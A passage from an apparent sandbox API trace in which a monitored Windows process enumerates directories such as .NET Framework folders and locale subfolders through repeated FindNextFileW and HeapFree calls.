hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.822] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0251.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.824] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0251.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0251.826] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xea158452, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea158452, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0251.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.827] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0251.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.827] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0251.828] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0251.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.828] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0251.828] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0251.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.828] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8dd640, ftCreationTime.dwHighDateTime=0x1d57405, ftLastAccessTime.dwLowDateTime=0x210c1050, ftLastAccessTime.dwHighDateTime=0x1d58ef8, ftLastWriteTime.dwLowDateTime=0x210c1050, ftLastWriteTime.dwHighDateTime=0x1d58ef8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0251.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0251.830] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0252.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0252.107] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0252.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0252.108] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0252.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0252.108] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0252.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0252.110] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0252.110] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0252.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0252.110] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0252.110] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0252.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0252.112] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0252.112] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0252.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0252.112] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xea1a4999, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea1a4999, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="rempl", cAlternateFileName="")) returned 1 [0252.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0252.114] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0252.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0252.115] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0252.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0252.115] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xea10bff7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea10bff7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="UNP", cAlternateFileName="")) returned 1 [0252.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.554] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0252.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.556] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0252.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.566] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0252.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.569] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0252.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.571] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0252.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.575] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0252.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.579] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0252.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.583] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0252.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.586] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0252.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.926] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0252.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.928] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0252.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.930] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0252.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.931] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0252.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.933] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0252.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.935] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0252.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.936] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0252.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.938] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0252.939] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.940] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0252.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.941] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0252.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.943] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0252.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.944] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 